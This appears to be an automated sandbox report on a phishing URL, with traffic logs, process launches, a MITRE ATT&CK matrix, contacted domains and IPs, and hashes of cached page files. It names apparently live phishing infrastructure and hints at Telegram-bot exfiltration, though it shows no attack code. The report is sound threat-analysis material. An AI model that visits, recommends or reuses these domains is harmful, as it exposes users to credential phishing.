Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown

HTTPS traffic detected: 131.253.33.254:443 -> 192.168.2.4:49728 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir5728_745831271

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir5728_745831271

Jump to behavior

Source: classification engine

Classification label: mal60.phis.win@24/44@45/11

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2240,i,4676294954928455432,3336123572810525567,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2268 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://nettl.ntfs2.shop/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2240,i,4676294954928455432,3336123572810525567,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2268 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	12 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://nettl.ntfs2.shop/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://oka.greenthreads.hr/background.jpg	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/186-e401717d9e8b842b.js	0%	Avira URL Cloud	safe
https://nr.moralemadefiles.top/	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/main-de1ad41d606513c1.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/webpack-ee7e63bc15b31913.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/framework-2c79e2a64abdb08b.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/favicon.ico	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/pages/_app-aea6920bd27938ca.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
d26p066pn2w0s0.cloudfront.net	13.32.27.14	true	false	high
nettl.ntfs2.shop	172.67.190.49	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
patnero.thesilent.de	216.24.57.1	true	false	high
classntfst.shop	104.21.88.234	true	false	unknown
trestle.proxy.rlwy.net	35.214.184.4	true	false	high
www.gravatar.com	192.0.73.2	true	false	high
beacons-handoff.gcp.gvt2.com	142.251.143.67	true	false	high
oka.greenthreads.hr	76.76.21.21	true	false	high
www.google.com	172.217.18.4	true	false	high
api64.ipify.org	173.231.16.77	true	false	high
rail-bot-production.up.railway.app	unknown	unknown	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
logo.clearbit.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://oka.greenthreads.hr/background.jpg	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/chunks/webpack-ee7e63bc15b31913.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/chunks/186-e401717d9e8b842b.js	true	Avira URL Cloud: safe	unknown
https://www.gravatar.com/avatar/1c2c8ad38cd59179ba1f928f49bdd550?d=identicon	false		high
https://oka.greenthreads.hr/_next/static/chunks/framework-2c79e2a64abdb08b.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/	true		unknown
https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/chunks/main-de1ad41d606513c1.js	true	Avira URL Cloud: safe	unknown
https://nettl.ntfs2.shop/	false		unknown
https://a.nel.cloudflare.com/report/v4?s=mUng%2Bs0VnheZmCywQUh%2FmeEb%2BuuCbEozpjLwZBQrrynB%2Bkjz1giYTKLYGb1%2F2mkewjoUNlUrwglQIDREypTXwExqW%2BDKgo8v9uAzFRfesv2K1%2B4dTzUtTy2sfwV7GekMkrIo	false		high
https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/favicon.ico	true	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high
https://oka.greenthreads.hr/_next/static/chunks/pages/_app-aea6920bd27938ca.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://rail-bot-production.up.railway.app/api/detect_bot	chromecache_82.3.dr	false		high
https://feross.org	chromecache_72.3.dr	false		high
https://api.telegram.org/bot	chromecache_82.3.dr	false		high
https://nr.moralemadefiles.top/	chromecache_82.3.dr	false	Avira URL Cloud: safe	unknown
https://vercel.live/_next-live/feedback/feedback.js	chromecache_86.3.dr	false		high
https://api64.ipify.org?format=json	chromecache_82.3.dr	false		high
https://www.gravatar.com/avatar/	chromecache_82.3.dr	false		high
https://logo.clearbit.com/	chromecache_82.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.88.234	classntfst.shop	United States	13335	CLOUDFLARENETUS	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
216.24.57.1	patnero.thesilent.de	United States	397273	RENDERUS	false
13.32.27.14	d26p066pn2w0s0.cloudfront.net	United States	7018	ATT-INTERNET4US	false
192.0.73.2	www.gravatar.com	United States	2635	AUTOMATTICUS	false
172.67.190.49	nettl.ntfs2.shop	United States	13335	CLOUDFLARENETUS	false
35.214.184.4	trestle.proxy.rlwy.net	United States	19527	GOOGLE-2US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
173.231.16.77	api64.ipify.org	United States	18450	WEBNXUS	false
76.76.21.21	oka.greenthreads.hr	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637584
Start date and time:	2025-03-13 18:10:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://nettl.ntfs2.shop/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@24/44@45/11

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 142.250.184.206, 108.177.15.84, 142.250.186.174, 142.251.168.84, 142.250.186.99, 172.217.18.14, 142.250.185.78, 199.232.210.172, 142.250.184.238, 142.250.185.142, 173.194.219.113, 173.194.219.102, 173.194.219.101, 173.194.219.138, 173.194.219.139, 173.194.219.100, 172.217.16.206, 142.251.13.95, 216.58.206.74, 142.250.186.170, 142.250.185.202, 142.250.185.106, 172.217.23.106, 216.58.206.42, 142.250.186.106, 142.250.185.170, 142.250.185.74, 142.250.186.138, 142.250.185.138, 142.250.186.74, 142.250.184.202, 216.58.212.170, 216.58.212.138, 216.58.206.46, 142.250.184.195, 142.250.186.78, 216.58.212.174, 216.58.206.35, 23.199.214.10, 4.245.163.56
Excluded domains from analysis (whitelisted): a-ring-fallback.msedge.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://nettl.ntfs2.shop/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:HfTORnYn:qRnY
MD5:	9B5719B531993D7EEF5EB4C692F2238C
SHA1:	9C9A21624C975F0741B743348DE85A09FDA7E669
SHA-256:	27008C4818CC0695B1496B0E8026DDFB7999C7FA066F78C61A76AF0FFECEF4BF
SHA-512:	39CC9DC2E4DACFA6D1D7E23759ED7FB13C3111992BCA5DAA97CE1ADB37205056118FC1105D85E38B8E902A2F8CD68656AD36D53642DE60368E054BE86942BBA8
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIZCcH8_Te5HSm9EgUNUAuvsCFR37WRZCcYAw==?alt=proto
Preview:	CgkKBw1QC6+wGgA=

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, orientation=upper-left], baseline, precision 8, 1920x1034, components 3
Category:	downloaded
Size (bytes):	114870
Entropy (8bit):	7.375425337971249
Encrypted:	false
SSDEEP:	1536:UYVEImav9k/V8WQoVJhaqY/uM3yKhWCOXDSiY0K6b3v2rqgRvsYq:lrFsx/Oz3DOTJY0Nb3veqgRvsYq
MD5:	45068F0ED4F904B59752FCAA6D8D3E7E
SHA1:	49DC43B0FEB73AF09EE872C262CB45591D77A215
SHA-256:	B16B43D0FA5E1715210552162B5059F379A69079C44E2A15690F27508AAADE9E
SHA-512:	C6151A108DB6A654452D8B77AB8604B6977F5710C38F8EB7968C6F3110B1D4B732D0334BA8A12084A6F121354458D4AE5E94F14C390A4239570780B1175E7D0C
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/background.jpg
Preview:	......JFIF.....x.x....."Exif..MM..........................C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....4..>..........<....n.T_............^./..o....u........y............ ......v><.{y./.k.h....$N.-......W.....w..wiF..9.m..c......w...%..!_..K+.k<..J.+3:.........Vj....5y>e...?.7........>....#..}...YI.r..:....>Y-.w.w.....I.!....o...w.e..6\D..K,..<...Wy6...........1.D..n!.;..v....Gs...o.......c..\3G.F.\6.......q.6..F......H

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	77
Entropy (8bit):	4.37144473219773
Encrypted:	false
SSDEEP:	3:k0WYL12AvZ/W6QfpX/W6Qee:UYR2AvZO6EpXO6I
MD5:	B6652DF95DB52FEB4DAF4ECA35380933
SHA1:	65451D110137761B318C82D9071C042DB80C4036
SHA-256:	6F5B4AA00D2F8D6AED9935B471806BF7ACEF464D0C1D390260E5FE27F800C67E
SHA-512:	3390C5663EF9081885DF8CDBC719F6C2F1597A4E25168529598097E9472608A4A62EC7F7E0BC400D22AAC81BF6EA926532886E4DC6E4E272D3B588490A090473
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js
Preview:	self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB();

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	819
Entropy (8bit):	7.451551279226306
Encrypted:	false
SSDEEP:	24:C/6f+Xel9sovQxFX0+gWYHBBoamGa9Kttt:C/6f+uluW6h0+UHBgGa9KJ
MD5:	4B5FEBB3FB4517A225620B5FE05016D2
SHA1:	02F3621A49871422123E5D560CFFDE14F6C719D5
SHA-256:	FA2E9317D000C52911C303166AB105CB0BC76D06783F5C069E8388556CA544E3
SHA-512:	80C0909A2F8CF64C97EE888CF7A039C6E22B6FCB02666277E3A6087ABE258763F69C7CC1B65BACDAE5AC5FF3C7C1015E297E3ADE494B81E86AE0C20A0F36A787
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/favicon.ico
Preview:	.PNG........IHDR...`...`......w8....pHYs.................IDATx..1..A....A.,...b.......r..;.lm.....;K.B,m--l,.D.R$!..U.j#+...w...dgg...I....7K............1.>7..{.'.T.^jEw....].-...ue...8..........9&#..LO...a7........\..]q...MG Kz=.MG Kz..$.u].er.^...@b^.W@.^.....5....u.s.]z].}Wg..'........0..G.....+.......`.^......iw6.nM...g...X.......7...RI[.@$....t.d..B.Q...X.. X.......}....@.X.PP\..L.......@x..................."((.(.....DPP.P....(..... ((.P.AA!@APP\. ..B.....@A.....AAq...................._\|..Vt..-...@..-1..B)..y.CE;.[....ZD.....RQLy..}7.$..3..hn..N8_3#L...#..?...}.R36.Mbhn..YY...0}.j..^.W......S].......f.7?.ba..j."..R[......`%...^mE......n...}.y...:;..7...0=..........(.N......i...gU.&g....P.c..c..5.rK..G.....y.._........V..ke....]........0.......+......IEND.B`.

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (427), with no line terminators
Category:	downloaded
Size (bytes):	427
Entropy (8bit):	5.4313643376516705
Encrypted:	false
SSDEEP:	6:ZdYeLGmOYHKkCwv3BnPGwcCo7Ap4Mq2gGr0s/Xwpo8D+YATtd6EpXjd6I:ZaiGmFMKPzafpE0CR9tJFXjV
MD5:	A92A1C5E3C1ED80F4D4BF04B357A22E4
SHA1:	E42913BC1AEA706BFA72D27B096C716850B18DD4
SHA-256:	3917A789E64A70B4E863DB34BBC222ECA5205B13497C5086A1E0D29B39C3A4C7
SHA-512:	5CA89EC2753A91DCAF503353DD69C2D0B9A216F35831EBDE08F1170B5D388CF5533EE19C816643DE77EB9E38F38C0C256FDAEFCC5AFDA27FEB8B29913E3A01F3
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js
Preview:	self.__BUILD_MANIFEST={__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":["static/chunks/186-e401717d9e8b842b.js","static/css/19d09a6113afa007.css","static/chunks/pages/index-d6318c8b55988a60.js"],"/_error":["static/chunks/pages/_error-3986dd5834f581dc.js"],"/denied":["static/chunks/pages/denied-186b4c64a621e6fa.js"],sortedPages:["/","/_app","/_error","/denied"]},self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB();

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65202)
Category:	downloaded
Size (bytes):	141052
Entropy (8bit):	5.268092028848304
Encrypted:	false
SSDEEP:	1536:2YjvmNg6kMudjY+o3F36qmk1S/qcnde//ZQg:Dj7UN6qT1S5cXmg
MD5:	7FC4BED6B4319C62343F0BF5DB91A5BB
SHA1:	6E283C4EA2B12DA64476AF280236A8C5D85DBBBC
SHA-256:	F2AE26FF518D9519AFD2A3DC277D84E098458E6B6B85FA9548CDA2BED24435E7
SHA-512:	E2E0072386F2F35690899509229136406C27C2B95E3E8CC810AEB6630D7F13BD0872E0F6E650B4FDDCE2567680E7C42EEA49C62BD2653006F5151D9BA0430CD7
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/framework-2c79e2a64abdb08b.js
Preview:	"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[774],{4448:function(e,n,t){/*. @license React. * react-dom.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */var r,l,a,u,o,i,s=t(7294),c=t(3840);function f(e){for(var n="https://reactjs.org/docs/error-decoder.html?invariant="+e,t=1;t<arguments.length;t++)n+="&args[]="+encodeURIComponent(arguments[t]);return"Minified React error #"+e+"; visit "+n+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var d=new Set,p={};function m(e,n){h(e,n),h(e+"Capture",n)}function h(e,n){for(p[e]=n,e=0;e<n.length;e++)d.add(n[e])}var g=!("undefined"==typeof window\|\|void 0===window.document\|\|void 0===window.document.createElement),v=Object.prototype.hasOwnProperty,y=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2651
Entropy (8bit):	7.893739678606905
Encrypted:	false
SSDEEP:	48:KV2SGjPRX5z74gcfQARaQwHwoOO32UxDzA1fsL67/DTia+Qb:KIS+ZX5z74gaaQwH2Om0Dc1f/XTiYb
MD5:	756D3C530624A37A2EB47C6A657037A1
SHA1:	3E45A8DF02EF52D97D411581D89138999C57512A
SHA-256:	AF058CF398DC5E71D6FEAEAC924A676CC50382C923589EA03026D621AC32EFD9
SHA-512:	76E410998A0322E4CE0D40946C7D382D9E366F8C588AB61EC65645635A035650C9BDDAED5A54CD15BC489C75372FF19E05C4BF1540D9940B6952156A96CA06F1
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...P...P............pHYs..........+......IDATx..mPT......] 0My......q\.]..L.X).q.L"`.+.-..&%Tq:8Q.....b...5..i......)......t..)`.8Zv..~0g.{.=.....]......{...{..?{b..:.. ...+_..7.=U..h.t..U.nOGC}........................".@Aa>.N.6.d.....#jk....bxR.... ..X..Q..XzAr...N..."/<.....m8;'.Y......<eE...6-....x.....,.xKR......#hk...>...-.6...7.O.r;......3...x.8...0...S.D...Q.j~U....ax........ ..A..H3..'.B...... h{.j.H........H!j.g....a.X.../..}.z.'.t..m-].<r...t..........76..[...c...sss.x.,g.........'...r;.~.:.z.C229....N..^...,..3..v2c...@..L."........d......y......x....ji.;...&..8..@{G#.,...U.....\|..(..?.Oi.....oJ..0.j....m....qbYmV..{7.].AiI9......z.w.c....C......N...E...o.W.im.6-..xV.X........2....?<.#......y..H.._...x..dm.......9......(.Q.g."....Z...?...sJ.8..#L...v........Su ..KU[W.L.=....qf.n..<6..)..6<S.\|...U.......7.mh~......w4.s...)....R.G...wj.vN......9.w.4JK.a.Y..G......d..P.r.SW..X..z4...l...Sq...>.%...........y..9K6?/....

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	280
Entropy (8bit):	5.255155675654176
Encrypted:	false
SSDEEP:	6:XzjbdHhjbzrrm8FxkvV+3rbXY5+MiTYpz0RryQJ6dLt:fbjrm8FxAU7bXP1Ypz0dyQULt
MD5:	FEE534CEE4DA1C4A41D1EE54F48DB65B
SHA1:	DAE46FEEA39BBBA346DA2DB16C4DF5B7E90A1357
SHA-256:	159DCBF63601BDFCB99D7389FD4D70F185A6A8E308068072B443BB06F1D74CD5
SHA-512:	95F916B9754F1E9B73246EB87E10AF666FC07B2F2A2CABB7A4DB1D924115FD8F27FF097702DE5697E91B61A3E5DE59D55F80925198BAD31F02E54B7AC9AF329D
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/pages/_app-aea6920bd27938ca.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[888],{1597:function(n,_,u){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return u(5035)}])}},function(n){var _=function(_){return n(n.s=_)};n.O(0,[774,179],function(){return _(1597),_(6885)}),_N_E=n.O()}]);

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57744)
Category:	downloaded
Size (bytes):	64992
Entropy (8bit):	5.454835624756822
Encrypted:	false
SSDEEP:	768:ok2S853vbYEfEA+pMTaiLD1UFvKM9MfNP/HmaF23zYT1PlipuAU3QgSv9AZitoP8:Db8lvbvTleifGwkMfNPeJmdiGSvQuF
MD5:	575C44CD8AFE1990210F891769BC660A
